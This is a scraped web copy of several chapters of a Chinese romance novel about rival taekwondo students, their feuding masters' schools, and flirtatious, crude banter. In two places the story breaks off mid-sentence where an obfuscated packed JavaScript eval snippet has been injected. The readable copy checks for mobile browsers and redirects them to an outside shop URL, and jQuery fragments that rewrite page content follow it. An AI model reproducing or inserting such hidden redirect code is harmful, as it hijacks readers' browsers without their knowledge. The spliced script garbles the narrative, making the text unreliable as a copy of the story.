江言的身体非常恰好就压在了金丞的后背上,角度清奇,导致一辆车全压在他的身上。 “诶呦。”金丞叫苦连天,怎么还能男上加男呢,“你起来!” “车压着我呢,我倒是想起。”江言试了试,一下子没掀动,“我慢慢儿起。” “慢什么啊,你掐人那么牛逼,掀车不就是两三秒的事吗?起来。”金丞回过头瞪他。 你小时候把我打哭了,逼我吃脚,还敢坐我脸上,现在我压你一下怎么了?江言还就不起了,慢悠悠地挪。谁料金丞像个小王八一样往外爬,边爬边蹬腿:“你再不起来,老子对你不客气。” 丢死人了!金丞从前呼风唤雨,遇上江言,一件好事都没有。他怕江言再不起来,给自己压流血了,又怕最近减重血糖低,一会儿晕过去,情急之下摸到草坪上的狗尾巴草。 江言并不是不想起,而是卡他腿了,4条长腿跟麻花一样,又不能快刀斩乱麻。这时他的头盔忽然被金丞给摘了,只见金丞虚弱地看向他,手里抓着一根狗尾草上的尾巴,往他鼻孔里塞。 全塞进去了。 “哈哈。”金丞大仇得报,缓着气,扭着腰,在草上平躺,脖子因为过敏而大片红色,“你好漂亮啊,好喜欢你的脸。” 江言两只手撑在他的身体两侧,看着金丞得寸进尺。 10.一个比一个疯 金丞爽了。 人生就是一日过一日,今天开心,明天嗝屁。就他这个身子,能再打一年就是极限了吧。 这时候,一个好心的阿姨走了过来:“小伙子,用不用帮忙?” 江言指了指自己的耳朵,摇摇头。 “啊,听不着啊。”阿姨又看地上那个,“你呢,能起来吗?” 金丞瞪大双眼,怎么都想不到江言下不来台的时候居然装聋!于是他指了指自己的喉咙,啊呜啊呜了几声。两个人一起摔车,一起装蒜,一个天聋一个地哑,真是一对儿好搭档。 阿姨投来心疼的目光,摇着头走远:“唉,可惜了。” “好了好了,宝贝儿你别压着我,我起来先。”等阿姨走后,金丞连忙开口,好不容易将自己的右腿从江言胯.下抽出。但下一秒他就不动了,他运动包被甩开了,红包没了! 那可是金启星给的钱,将来还得靠那位小霸总继承自己呢! 嗖一下,金丞鲤鱼打挺,奔向运动包。可惜后果异常不秒,红包烟消云散,附近草皮里都没有。金丞着急了,恨不得掘地三尺来找,就在他要付诸于行动时,身后传来两声痛苦的叹息和咳嗽。 “你是瞎了么?” 我瞎?金丞瞪着眼睛转过去。 江言侧躺,被车压着,把狗尾巴草抽了出来,面色高深莫测似的:“就不能先把车抬起来,把我扶起来么?” “扶你?我还敢扶你?”金丞正上火,看到他云淡风轻、抬头看天的松弛感就更加来气,“你这车不好刹,我现在红包丢了,你起来帮我找。” “呵,起不来。”江言确实没起来,但并不是被伤着了。正相反,运动员有天生的协调力,敏捷是他们的神经细胞底层逻辑,在重心偏移的一瞬他已经做好了跳车的准备。 但是他掐着腰的金丞,实在是太瘦了。 一晃神,车歪了,两个平时在场上反应速度零点几秒的跆拳道选手以慢动作的方式栽倒。 车压在身上很沉,可没有江言的内心沉重,自己是不是疯了,没事和金丞纠缠?还被塞狗尾巴草? 将来自己怎么塞才能解气?塞多少次?塞哪里?狗尾巴就应该当小狗尾巴。 在他旁边,金丞骂骂咧咧地挪车,摘下头盔,将江言从侧躺看天的状态拎起来:“我不管,我红包丢了,你必须给我找回来。” 江言只觉得今年的蝉特别能叫,好闷热。他指了下正在路边开盖抽取的污水井和污水车:“是不是掉井里了?” 他没怀疑真假,因为摔车那瞬间他也看到有一个小红包飞了出去。不然就是给他一百个信心,也不会相信金丞的只言片语。 井?金丞懵懵地回过头,才发现路边正在抽井。他捏着鼻子跑过去,可环卫工人拦着他,不让靠近。几秒后金丞自己回来了,没硬闯,原因无他,太臭。 就算他能从井里捞出红包,也不能要。回去要是告诉金启星,你小子的私房钱被你二哥我掉大便池里,他一定哭得嗷嗷的。 可眼下金丞也想嗷嗷哭,他无能为力地看了江言几秒钟,伪装的外壳一点一滴破碎。装什么乖巧学弟,在钱面前没有乖也没有巧。 “那你赔钱吧。”金丞直接发话,“要不是你非要我带你去体育街,我的钱就不会丢。我跟你说,那可是我弟弟砸锅卖铁,卖身葬父,积攒的零花钱。” 江言抬了下头,看了看头顶的天。 “你别走神!”金丞逼近一步。 “没走神,我晕车。”江言揉了揉鼻子。 晕车……晕你大爷的车!金丞一把揪住他的队服领口:“哥们儿,你是不是针对我?我在学生会好好的,你非要砸我买卖,现在我钱没了,你打算怎么办?” 江言的内心有点烦躁:“你在学生会好好的?你真以为你能好好的?” “我……”金丞刚说一个字,不知道谁家跑出来的棕色小泰迪凑到旁边看热闹,离他们就差两三米,还叫了几声汪汪。 这几声狗叫彻底将金丞的伪装扒开,他化身纯恨战士,立马对狗进行审判:“看什么看!没看过人打架?你没钱了有屎吃,我没钱了也跟着你吃屎啊?”骂完狗,金丞扭过头骂人,“赔钱,我大哥问你话呢!” “好,赔多少。”没想到,江言居然点头了。 就这样轻轻一点头,金丞马上扭头继续骂狗:“你在旁边看什么啊?我大哥问你话呢!” 小泰迪大概是察觉到这人比自己还要疯,汪汪两声,扭身跑进了街边的小卖部。金丞松开了手,笑颜如花,用谈生意的标准语气说:“学长打算赔多少?” “有事学长,没事儿哥们儿江言,你变脸倒是挺快。”江言回忆了一下那个红包的厚度,“一万五,差不多了吧?” “一万五?怎么可能,最起码红包里有三万块。”金丞狮子大开口,呵呵,没和你要五万十万就是放你一马,“微信转账还是银行卡?先说好,我不分期。” 可江言也不是好拿捏的人,两人站在小车车旁边讨价还价,不知情的人见了一定以为他俩讨论什么跆拳道团赛战术:“就一万五,多一分我都没有。金丞,做人要讲诚信。” “江队,我觉得你这人最没诚信,美人最会骗人。”金丞一说到“美”,倒是起了叛逆的心,你不是说我没诚信吗?我就让你见识见识,什么叫烂人真心。 “要不这样,你给我一万五,剩下那一万五用你自己抵债,怎么着我也得亲几天。你让我尝尝你?”金丞一只手插着兜,一只手拎着摩托头盔,连影子都帅。 “那可别,我怕你没钱了跟狗吃过屎。”江言笑着拒绝,又掏出手机,打算先把钱给他转过去。 不成想,就在这光天化日之下,就在这绿化林荫当中,一片柔软又冰凉的嘴唇嗖一下贴了下他的嘴角,一只手拆了他的皮筋。 头发散开了。 就差一点点,真的就差一点点,完全亲到嘴。 事发突然,江言脸上的笑意还没褪去,手指刚点开聊天页面,但是他动作和表情全僵住了。 “没有狗屎味儿吧?”金丞却笑了,单手搭在江言的肩膀上,拨弄着他的皮筋,开心死了。 太阳是不是在自己头顶炸了?江言被冰了一下,心脏也跟着停了一下。金丞是不是无可救药了?仗着一张好看的面孔,肆无忌惮。 “我没骗你吧?”金丞看到他这个反应,十分满意,又对着江言的脸哈气,“哈哈,哈哈,是不是不臭?” 江言快速将脸一转。 “走吧,肌肤之亲。不过咱俩得先把小车车扶起来。”金丞还搭着他的肩,“你放心,我既然亲你,就会对你负责,对打的时候我让着你。” “你说话的时候能不能别这么多小动作?”江言看向他搭在自己肩上的手。 他用短短两秒想明白了,金丞没救,其实自己早就该知道,不该一再而再脑子抽筋。从他小时候把脚丫子塞自己嘴里的那一刻开始,自己就该明白。 “对不起,我以后改。”然而金丞听不到江言在心里给他判刑,只是将手臂收了收。他逗江言是一码事,可红包是实打实没了,是另外一码事,于是拿出手机,开始要钱。 只要他站在道德低点,就不怕别人对他指指点点。 “江队,要不你先把钱给我吧,我今早还没吃饭呢。”金丞实话实说,“你能请我吃铜锣湾吗?机器猫爱吃的那个,我很饿了。” “你有病吧?那叫铜锣烧。还铜锣湾,以为我陈近南?铜锣湾扛把子?”江言没有一丝一毫含糊,“打开手机,收钱。” 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被狗操了腿的金丞顿时反应过来,自己是被江言那病秧子给骗了!晕个屁,他骑得好好的! 此时此刻,江言戴着头盔,已经听不到后面金丞的骂声,专心致志地骑摩托车。最近的天气热得不正常,又潮又闷,仿佛北京也要在夏季经历一次回南天,处处挂着水帘洞。他骑车一路向北,直接往望京去,到了望京商圈之后他先找了个地方停车。 车停好,他又把头盔寄存在地下停车库的保安室,这才走上地面。而他的目的地并不是眼前这栋大楼,而是对面,望京最具标志性的地标建筑。 之所以不敢停对面,是因为道馆的总部就位于建筑底商之一,稍不留神,他当鬼火少年这事就会被师父知道。 白球鞋踩着斑马线,江言快速穿过马路,到了道馆的门口推门而入。前台站着两个特别年轻的姑娘,都是刚来不久的前台,青葱着,怀揣着对新工作的热爱。然而现在她们的脸蛋上蒙了一层愁云,见到江言之后,愁云才有了疏散的迹象。 “他什么时候来的?”江言停在她们面前。 “大师兄你可算来了。”其中一个姑娘开口。虽然她们不是道馆的学徒,可仍旧习惯叫他“大师兄”。 另外一个姑娘紧跟,给江言拉开了里面的玻璃门,引他先去更衣室:“已经半个钟头了,聊得不是很愉快。就等你呢。” “好,我知道了。”江言重新扎好小揪。见客不能穿便服,他自然要先换道服,刷指纹打开了自己的衣柜。 柜子里面有道服和绣着他名字的黑带,以及训练时的私人护具、护齿和手靶。江言对待别的事情不算挑剔,甚至算得上一个好说话的性格,只是这洁癖改不掉。 雪白的道服有新洗的清香,还是小茉莉花的味儿。时间紧迫,江言系好黑带就出去了。 两个前台小姑娘一直等在男更衣室的门口,穿普通队服的江言走进去,穿道馆道服的江言走出来,她们的内心瞬间安定,飘忽着的心脏落回肚子里,仿佛只要有江言在,道馆的天就不会塌掉。 江言也像稳定她们的情绪一样,点了一下头。 道馆占地面积不小,分为训练区域和休息区域。因为是总部,所以休息区域也分出了学徒区和接待室。江言照直了走向接待室,推门而入时,两个师妹和唯一的师弟已经在垫子上跪了好一阵。 不止是他们跪,对面也跪,两边人都在接待室的垫子上跪着说话,像是谁先站起来谁就输。 “大师兄!”师弟祝白白憋不住事,一瞧见顶梁柱来了就马上站了起来。 “嗯。”江言朝他走过去,身份从大学生运动员转换,变成了花咏夏的第一个徒弟,全国46家咏夏道馆的主理人。 11.外疯里癫 江言率先走到他旁边,未卜先知一样扶了祝白白一把。果真,祝白白就像设定好的小程序,小腿因为过于麻痹而踩不住劲儿,差点歪倒在客人面前。他连忙站稳,不好意思地捶了下小腿,还好有师兄在。 另外两个女生就慎重许多,对面还没起,她们也保持着姿势。其中一个留着很短很短的bobo头,俏皮又可爱。另外一个是高马尾,举手投足更加谨慎。两人的气质天差地别,可长相却几乎一模一样。 “早就听说花咏夏师傅有一对双胞胎弟子,名字叫做陶含黛和陶晴绿。黛为姐姐,绿为妹妹,今日一见果然名不虚传。” 不等江言开口,对面的男生先报上名来。他看上去和江言差不多大,最多也就有个3岁的年龄差,同样也是瘦高身材,两只手规规矩矩地压在膝盖上。 江言转手又把两个小师妹给扶了起来,先把她们扶到椅子上,转身自己接替了这一场苦熬的跪姿,和郑直贤面对面。 郑直贤,中国朝鲜族人,江言曾经在场上见过很多次了。他的团队全部都是朝鲜族,平时交流也用方言,带有浓烈的民族色彩。 “喝茶么?”然而江言一开口,却直接将话题拐了一个弯儿,让人云里雾里。 郑直贤浓眉大眼,对上江言的长相,自己都觉得有点欺负人。他对江言同样印象深刻,每次江言上场,必定有人会说“林黛玉倒拔垂杨柳”这个梗。如今江言还把头发留长,小揪碎发贴合后颈线条,扫着后领口,这既视感更加强烈。 “喝,让我尝尝你们的茶。”他毫不客气。 “小白,去泡茶。”江言偏过头。 祝白白的脸就是一面屏幕,什么心里话都往上摆,垮着小脸就去翻茶叶。师兄让他泡茶,他不敢敷衍,选了馆里最好的白茶。不过他也在心里奇怪,为什么师兄来得这么晚,明明都是从学校出发的。 茶叶入水,江言灵敏的嗅觉率先察觉,不动声色地问:“我是咏夏道馆的主理人,有什么事情不要为难我的师妹师弟,和我谈。” “唉,我什么时候为难过他们,刚才我们聊得很好。”郑直贤心领神会,这是一场长时间的耐力角斗,他要拿出十足的耐心,“一直以来,我的师父都很想和花咏夏师傅来一场公开赛。” “师父他最近身体不好。”江言不给他任何机会,直接甩出了最极限的理由。当一个人身体不好时,多说无益,总不能逼着人上场。 “江言,你也应该知道这是谎言吧?”可是谎言能不能骗人,取决于听的人是否相信,郑直贤就很怀疑,“我从来都不知道,花家的弟子已经学会说谎了。如果不是亲眼看见,我还以为你是叶合正的徒弟。” 陶晴绿已经忍他很久了:“你别血口喷人,我们花家和叶家自来不合,他家的作风我们自来看不上。” 郑直贤自有深意地笑了笑,果然,传闻都是真的。武术圈中只要沾了跆拳道,都知道一句话——“开场如若绿叶来,无人敢说花正开”。 叶合正就是这“绿叶”,响当当的地位都由当年一拳一脚打出来,而“花”自然就是和叶合正老死不相往来、互为仇家的花咏夏。两人从少年时期的现役队员打到退役名师,叶派、花派各自桃李满天下,见面是一分不让。 两派都是跆拳道,区别倒是不小。 叶合正的徒弟,最不好惹最难缠。比赛时谁都不想碰上,打输了自己不爽,打赢了,接下来一整年叶派都缠着你过招,直到打赢才算数。说话也多是咄咄逼人之辈,唯分数论,唯成功论。 反衬之下,花咏夏的徒弟们名声就好得多,都是天赋极高的体面人,绝不贪战恋战,彬彬有礼正人君子,就是面前这4个。 就像是武侠江湖里的正邪两派,风光霁月的花咏夏就是站在光明顶的名门正派,品行高洁。叶合正就是那虫谷里的毒物邪门,他自己脾气古怪,带出来的徒弟也引人侧目。现在郑直贤将他们两拨人放在一起对比,花家的人肯定不高兴。 这时候,祝白白的茶端了上来,还顺便对郑直贤翻了个大白眼。就当好茶喂猪了。 “这是我师父存了10年以上的白茶,你尝尝。”江言仍旧是笑容淡淡,给人以距离感,“叶合正师傅确实和我们师父有过渊源,但两个人已经很久没有见过面了。” 陶含黛、陶晴绿和祝白白都已经生了气,只有面前的江言镇定自若,郑直贤终于信了他这位新一代主理人的地位,也就收敛了刚才的不逊:“抱歉,是我说错话。不过我也很想知道,外界传闻的那些到底是不是真的?花师傅和叶师傅为什么会闹成这样?” 为什么会闹成这样?江言喝了口茶,其实他也不知道。 他只知道,师父和叶合正绝交那年,大概17岁吧,如今20年过去,师父只在跆拳道协会开会的时候见过叶合正,但20年没有说过话。 “你不想说也不要紧,我这次来,主要还是想谈谈切磋交流的问题。”郑直贤也清楚打听不出来,尘年往事,小字辈都无从探究,“我师父是诚心诚意想要切磋。” 江言摇了摇头:“如今师父身体不好。” “可以等花师傅身体好。”郑直贤拿出态度,“或者,咱们小辈先切磋一下。” “你想和我打?”江言放下茶杯,一口见底。 “都是同行,当然愿意切磋。”郑直贤像下战书,“咱们约个时间吧?” 江言再次摇了摇头,他猜测,郑直贤的真正目的是这个:“咱们能不能打,我得先问问师父的意思。我随随便便和你打,别人会以为是两个道馆在切磋。” “那……好吧。”话已经说到这份上,郑直贤看看时间,“江言,我知道你是一个磨不出来的人,你和你师弟师妹不一样。” “是么?”江言还装傻,“哪里不一样?” “你考虑的事情太多,身上承担着46家道馆的前途,一定也很不容易吧?我要是花咏夏师傅,就找个人帮帮你。”郑直贤双手扶地,不用别人搀扶,歪歪扭扭地站了起来,显然双腿早就麻了。 江言扫了他的腿一眼,这时候伸腿绊他一跤,该多好。“小白,送客吧。” 祝白白在后面大口喝茶消气,愤愤不平地带着郑直贤往外走。陶含黛走上来,似懂非懂地问:“其实,我还是挺想和郑直贤他们过一过手的。” “他在给咱们下套。”江言将眼前的白瓷茶杯往回收,手腕的玉镯子碰了一下,清脆得叮铃叮铃,“郑直贤他是朝鲜族,他们的主张一直都是朝鲜族更擅于打跆拳道,所以一直找机会切磋。这事等师父出院再说吧,反正咱们不搭理就成。” 陶含黛和陶晴绿同频率地点了点头。 陶晴绿突然轻声一笑,带着几分淘气:“对了,叶合正的两个女徒弟和我们一个班。” “我那天看见了。”江言从坐垫上站起来,“王清清和顾梦瑶,以后你们就是同班同学,对打的时候悠着点儿。” “她们可凶了,到现在都不和我俩说话。”陶含黛掸了掸袖口,“果然师父说得没错,叶家的人还是离得越远越好。不过叶合正他不是还有一个心爱的小徒弟嘛,这么多年都没放出消息到底是谁,不知道在不在咱们学校。” “别逗了,说不定那小徒弟还没高考呢,初中生。”陶晴绿拍了下姐姐的后脑勺。 江言听着她们聊,手底下倒是腾出功夫,将那一壶很好的白茶沏了出来。王清清和顾梦瑶是叶家人,早就是公开的事,可是那小徒弟到底是哪个?他一时半会儿也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没干嘛?我才不信呢。”金丞站在树荫下头,一手头盔,一手冰饮,“我这刚给大家买了饮料,一起喝啊。” “是用我的钱,买的饮料。”江言直接把心里话说了出来,金丞不会给别人花钱。 毛桃子抠门吝啬,毛桃子软饭硬吃。 “你的就是我的嘛,我们都有肌肤之亲了。”金丞连耍无赖都这么活色生香,“对了对了,你快帮我把鼻子上的大脸猫创口贴摘了吧,脸上出汗,痒痒。” 江言站在原地不动,指了指自己的耳朵,装听不见。 “你这套和我装没用。”金丞拆穿了他,和一个真正左耳失聪的人装什么?我现在听你说话就像听二十年前的古早H广播剧一样模模糊糊。 江言这才开口:“我腱鞘炎,抬不起来。” “你在和我撒娇?好啦好啦,我知道这是你的小把戏,我就吃这一套,塞你狗尾巴草是我不对,晚上我给你按摩。”金丞哄人的时候特带劲儿,牟足了甜水往人嘴里灌似的。 按摩?江言微微低下头,发梢略微凌乱。 “你别脸红啊我警告你。本身你皮肤白就容易红,像是随时随地都嗨的高潮脸,你这样一低头我会怀疑你满脑子黄色废料。”金丞顿时看不懂他了。 “咱们又不熟,能直接按摩么?”江言的头转向了一边。 “你再跟我装娇羞处男试试?”金丞皱起了眉毛。 啧,没法和这人聊天。江言随意地揪住他鼻梁骨上的大脸猫,一扯。 结果大脸猫没扯下来,一不小心碰到了金丞的嘴唇。 好软,好冰,像正在化冻的龙眼。 “等等!你手上什么味?”金丞敏感地捕捉到了烟味,“再让我闻闻。” “闻闻?”江言的指腹捻了捻,“你不会想知道这只手刚才干了什么。” 没想到金丞静静地看了他两秒,脑袋一歪:“怎么,你刚才躲这儿打飞机呢?我间接亲你老二了?” 江言定定地看着他。 金丞高深莫测地摇了摇头:“乖乖,怪不得你得腱鞘炎……” 12.都不正常 阳光毒辣,闷热如笼。 江言也不知道为什么,在听到金丞这句变态的话时笑了一下。 这是他今天的第一次轻松地笑,很奇怪。 “诶你笑了啊?”金丞也笑了,他当然清楚江言不可能躲在这里打手活儿,自己的嘴唇这辈子也不可能和他的老二亲密接触。但笑了就是一个信号,其实江言并没有看上去那么……冰山。 “你别瞎说啊。”江言脸上的笑容稍纵即逝,重新拎起包打算离开。不料金丞往旁边一个迈步,身姿挺拔地拦住了他的路。 江言只好停下,再次面对他。 “你干嘛去啊?”金丞显然有事找他,“一会儿就要开始拉筋了,我帮你吧。” “不用。”江言摇了摇头,他还惦记着他那车呢。 “那你帮我?我横叉和竖叉都很优秀,还很吃劲儿。”金丞生怕这个关系攀不上,“你真生气啦?不就是让我亲了一下嘛,你这人,心眼小。” 江言原本都把这一茬抛之脑后:“怎么,你经常乱亲别人?” “长得帅我就亲,长得丑我离远远的。”金丞往前凑一步,脸上挂着大颗大颗的汗珠。手指尖勾着塑料袋而微微发红,两个人离这么近了,听着还是模模糊糊。 他往前凑一步,江言就往后退了半步。 这种小动作自然也逃不过金丞的观察力,打跆拳道打得就是一个专注和反应速度,他立即停下:“你放心,我虽然亲长得好看的,但是我不喜欢男的。男生和男生胡闹一下不算什么吧,又不是掉块肉……” 话音刚落,他看到江言那双明明已经转移注意力的双眼,又转移回来了。 一阵风从两人当中吹过,江言顺着后颈扎好的碎发也动了动。 “你不喜欢男的啊?”他问。 金丞点了点头:“嗯,喜欢女孩子。” “那你小心点儿,咱们学校喜欢胡闹的人,挺多。”江言像是给他一个警告,“说吧,你拦着我,到底想干什么?” 金丞叹了一口气,被人看透。“学长,能不能给我一个机会。” “什么机会?”江言低头看了看他手里的饮料,那借花献佛的龙眼又一次出现在脑海中,“你想劝我放弃体育部长?” 又一阵风吹过来,金丞点点头。“你怎么这么聪明呢?” “不可能。”江言实话实说,“这个位置我从大一就在铺垫。当然你也可以和我竞争,但赢面不会很大。不过你的路线倒是走得很对,知道去巴结周高寒。” 说完江言拍了拍他的肩膀。手掌往下压的刹那,他收了下手指。瘦,凸棱的锁骨。金丞肯定在偷偷降级,想用这种方式争取更多的优势。 但是,这些又和自己有什么关系呢?他自己都不在意身体。江言松开手,准备先撤,不过临走的时候又说:“冰饮最好快点分出去,冰柜坏了,存不了太久。” “啊?冰柜坏了?”金丞低头一瞧。糟糕,他这里头还有冰棍儿呢! 江言当然也看到了,所以提醒金丞。满打满算他和金丞说上话的时间也就24个小时,可发展速度始料未及,直到现在江言都没想明白他们怎么就亲上了。 他扭回身,又看了一眼。 金丞长得很好,骨肉匀停,颀长亮眼,已经马不停蹄地奔向道馆。 但是抛开长相身材,江言又能挑出他一大堆的毛病。 然而抛开毛病,江言又在他面前轻松地笑了一次。 很奇怪又很矛盾……打住,江言今天的思路有点乱,不知道是被郑直贤闹的还是别的什么。练功和练人,人心一乱,道心也就乱了。 他从来没有这样乱过,就和天气似的,憋得一团糟,不知道那一场大雨什么时候才落。烦死了啊,这雨到底什么时候能下! “王助教,这是我给您买的水。”道馆里,金丞给大家分水,“咦,今天是不是少人了?” 王逸点了下名,接过了矿泉水:“祝白白和江言不在。怎么,他们不在,你也不练了?” “我练,我一天不落。”金丞扫视一圈,拎着快融化的冰棍儿走到旁边的休息区,“学长,吃冰棍儿吗?买多了。” 朱飙和同年级的队友正在休息,瞧见金丞马上将人拉过去:“来,给你介绍一下其他的学长。这是于夏阳,这位是魏昂。”说完他转过身,对着兄弟们展示他的小学弟,“这是我和你们提过的金丞,大一,看在我面子上多照顾照顾。” “于学长好,魏学长好。”金丞从塑料袋里掏出比较贵的那几根来,“热了吧?先吃一口。” 朱飙在旁边咧着嘴一个劲儿地傻乐,瞧瞧,这就是我认的学弟,多会来事儿。 “于学长,你是打68公斤以下的吧?这个含糖量低,吃这个。”金丞特别会做人,于夏阳身高不高,体型比魏昂小一号,肯定是68公斤级以下,所以专门给他挑了奶油含量低的一根。 再看魏昂,他和自己差不多,应该是80公斤以下级别的选手,于是给魏昂挑了比较甜的。 “谢了,以后有机会带你吃饭。”魏昂也不客气,咬了一口,“今年跆拳道就收了两个男生,一个你,一个祝白白,你俩是不是住一个屋?” “是,我俩都在401,还有江言。”金丞提起江言这个名字,停顿两三秒,“江言学长是不是不太合群?我总瞧见他独来独往。” “独来独往,这倒是。”朱飙着重强调,“学弟你可别误会,我们仨肯定没有排挤他。大三和大四的也没排挤过他。” “我没误会,我能感觉出来,他对谁都冷淡。”金丞不能再赞同,同时环视一圈,寻找着祝白白的身影。 祝白白,这位小兄弟可不简单。别看他年龄不大,站在这里的每个人都知道祝白白的身份,花咏夏最小的徒弟。除此之外,今年首体招收的陶含黛、陶晴绿也是花咏夏的徒弟,一对同量级的双胞胎。 提起花咏夏的大名,整个道馆无人不知。但金丞找祝白白可不全为了套近乎,他想打听出来,祝白白的大师兄是谁。 花咏夏的第一个大徒弟,当作亲生儿子养大,根据可靠情报,就在首体大。金丞将手里的冰饮和冰棍儿继续往外送,从大二男生送到大四学长,再从大四的学姐送下来,最后到了大一的女生这边。 “给,冰棍儿。”金丞直接兜住一个女生的肩膀,“再不吃就化了啊。” 王清清回过头,在金丞的小腿上踹了一下:“别搂搂抱抱,热。” 她有一头黑长直公主切,雪白皮肤,骨骼纤细轻盈,然而踢金丞那一下刚劲干脆,毫不拖泥带水。 金丞的膝盖晃晃,声音撒着娇直发黏:“姐,疼,我最怕疼了。” 王清清接过他的口袋,才不相信他装可怜这套:“你怎么买这么多?发财了?” “你亲我一下,我告诉你啊。”金丞连耍赖都耍得很隆重,“好了,不逗你,二师姐呢?” 王清清的清秀长眉动了动,指向不远处。他的二师姐,顾梦瑶,正在踹人。 恩师叶合正,学生收了不计其数,拜师帖只收过3封。大徒弟王清清,二徒弟顾梦瑶,关门小徒弟就是金丞。金丞的大师姐是个冷美人,学习好,跆拳道成绩更好,无数人心目中的校花,唯一的弱点就是爱睡觉,一睡觉就起不来。不管上多少闹钟,只要王清清沾上枕头,两只耳朵闭起来,全世界与她无关。 二师姐这方面就不用操心,从小起得比师父还早,抢着和公鸡比打鸣。饭量是王清清3倍,住在师父家里,愣是将恩师的私人冰柜吃成中空,如蝗虫过境。 叶合正叫苦连天,两个徒弟都如亲闺女一般,性子一个太冷一个太烈,折中一下,他觉得他还得再收一个。 于是,金丞来了。 漂漂亮亮的娃亲自抱回来,身形骨架也是万中挑一,长大必定是瘦长条儿,腰线高。而且嘴甜会叫人,一口一个“师父好”给叶合正哄得心花怒放,每天用肩膀扛着金丞去道馆,和王清清、顾梦瑶一样,成为了他的心头宝。 谁知道,这心头宝长大了,长歪了。 歪到叶合正放话,以后出去打比赛,别说是我的徒弟啊,我这一辈子的英名再让你给我毁咯。 金丞正骑在别人身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097117|136873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要撕人家的嘴,就因为那大孩子说他没有王清清和顾梦瑶好看。听了师父的话,13岁就已经玲珑剔透的金丞从大孩子的身上爬起来,光着一双刚踹完别人脸的红彤彤的小脚丫,啪嗒啪嗒,走到叶合正面前。 “师父,您在外头,还有英名吗?”金丞笑得像发光的小狐狸。 叶合正眉毛都快拧成死结,亲生的,亲生的,收了拜师帖,喝了改口茶,不能逐出师门呐。 不过从此之后,金丞从不在外头提起自己师父是谁。瞒着身份多好玩儿啊,别人不知道他是大名鼎鼎叶合正的关门弟子,当着他的面,骂叶派也骂得起劲。 金丞记仇,凡是和他量级相同的,上了场专门踹脸,一脚一个。 现在,金丞在师姐面前是真正乖巧。“那我不打扰她,你先吃。” “等等,你回来。”没想到王清清一招手,叫他。金丞利索地走过来,小时候是抬着头看师姐,现在是师姐抬着头看他。王清清手疾眼快,一把撕掉了金丞耳朵上的创口贴。 金丞耳廓的外伤一疼,可这只耳朵就像死掉了一样,听不到。 “怎么受伤了?对打的时候碰的?”王清清将金丞的小耳朵翻下来,心疼不已,“校医室去了没有?祝白白打的?我就知道花家的人不是什么好东西!你等着,我这就和顾梦瑶去揍他!” “等等,等等。”金丞拉住她,“不关祝白白的事。” “他和你一个宿舍,我看就是他。”叶家人提起花家人没有理智,王清清仿佛亲眼看到祝白白殴打师弟,“花家道貌岸然,平时装成正人君子,还总是恶意中伤师父。我早就看他们不顺眼了。” “对,我也不顺眼。”金丞用力点头,“但我这真不是祝白白打的,不小心磕破而已。” 说话间,顾梦瑶走了过来,第一眼也瞧见了金丞的伤:“靠,谁干的?祝白白!” “不是……”金丞再次摇头。小白白,这可不是我冤枉你,要怪就怪咱们两家是世仇。 “怎么不是,他们家有好人吗?最会装的就是他们。”顾梦瑶揉了揉金丞的小耳朵,“你别急,这口气师姐帮你出。” “我自己去出吧。”金丞尽量挽回,“你们不要动手,祝白白也有师姐,再说还有一个隐藏的大师兄。” “我管他是不是隐藏款呢,师父当年就是心软,让可恶的花咏夏钻了空子。”顾梦瑶扫视全场男生,每个在她眼里都不像好人,“管他大三大四还是大一大二,没什么人品可言。” “就是就是。”金丞点头如捣蒜。 “以后你离祝白白也远一点儿,万一被他那个大师兄看到,误以为你巴结他们家呢。”王清清也提醒他。 “就是就是。”金丞充分赞同,忽然间他原本已经止住鼻血的鼻腔再次酸疼起来。 等到他用手捂住,一滴鲜红的鼻血滴在他手心里。只是温热,却又滚烫。 没事,没事。金丞装作无意地转身,走向洗手间。 医院的气味让江言皱紧了眉头。 他更改了主意,先看看师父再去取车。刚走进病房区,手机震了又震,不出意料,来信人还是金丞。 是金子总会柯拉的:[江言,你能不能让让我啊,让我当一年的学生会体育部部长?] 怎么还是这事?江言想不透:[当一年你就满意了?] 是金子总会柯拉的:[明年我不当了,还给你。] 江言已经走到师父的病房门口:[我不信,咱们又不了解对方。] 是金子总会柯拉的:[那咱们马上互相了解吧,否则大一的我怎么敢靠近大二的你。男生的破冰行动就是一起看片,我带你看。] 江言莫名地笑了一下。 是金子总会柯拉的:[不过我先和你说一下哈,我虽然不是男同,可是我看AV也不会有感觉,我是阳痿。] 金丞堵着鼻血给江言发,破冰行动只是一个幌子,他把话说到这份儿上,江言肯定不会答应。 姓江很了不起啊你:[那就破冰。] 姓江很了不起啊你:[刚好,我也阳痿。] 13.我命令你亲我 发完之后,江言按揉睛明穴,要静一静心。这一静就静了几分钟,等到心完全凉了,他才有功夫去考虑别的。 金启丞,当年一脚踹翻了自己对小朋友的信任,真是好笑。那年,他们对打的过程被观众拍下,传到网上,转发破了万,还被誉为“本场最奶凶的小运动员”。 当体型很小的时候,连打架都可爱。那段视频成了江言摆脱不掉的影子,总看到网上有人转发。 视频里,他被金启丞压在地上。长大后,金启丞变成金丞,还邀请自己破冰。 他还阳痿了。 活该。 江言再次揉了揉蓝痣,自从和金丞重逢,自己的小动作也变多了起来。这可不好。 又过了几分钟,他终于推开病房门:“师父,我过来了。” 床上躺着的人就是大名鼎鼎花咏夏,只不过略显憔悴,远不如从前精神。现在花咏夏没睡觉,而是飞快地刷着手机,一瞧见江言,手机就往枕头下面藏。 “交出来。”江言站在他的床边,伸出了手。 “我就看了一会儿。”花咏夏不给,“你是师父还是我是师父?我刷个短视频都不行了?” 